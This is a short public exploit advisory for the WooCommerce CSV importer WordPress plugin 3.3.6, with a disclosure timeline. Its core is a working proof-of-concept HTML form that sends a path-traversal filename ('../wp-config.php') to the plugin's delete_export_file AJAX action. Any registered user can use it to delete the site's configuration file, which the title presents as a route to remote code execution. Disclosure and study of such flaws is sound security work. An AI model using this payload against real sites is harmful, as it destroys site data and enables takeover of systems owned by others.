WooCommerce CSV-Importer-Plugin 3.3.6 - Remote Code Execution

# Exploit Title:  Plugin Woocommerce CSV importer 3.3.6 – RCE – Unlink
# Date: 08/04/2018
# Exploit Author: Lenon Leite
# Vendor Homepage: *https://wordpress.org/plugins/woocommerce-csvimport/
# Software Link: *https://wordpress.org/plugins/woocommerce-csvimport/
# Contact: http://twitter.com/lenonleite
# Website: http://lenonleite.com.br/
# Category: webapps
# Version: 3.3.6
# Tested on: Ubuntu 16.1
#

1 - Description

   - Type user access: any user registered.
   - $_POST['filename'] is not escaped.

2. Proof of Concept

<form method="post"
   action="http://target/wp-admin/admin-ajax.php?action=delete_export_file">
   <input type="text" name="filename" value="../wp-config.php">
   <input type="submit">
</form>


   - Date Discovery : *11/23/2017*
   - Date Vendor Contact : *12/29/2017*
   - Date Publish : 08/04/2018
   - Date Resolution :

 
#*Atenciosamente*
#
#*Lenon Leite*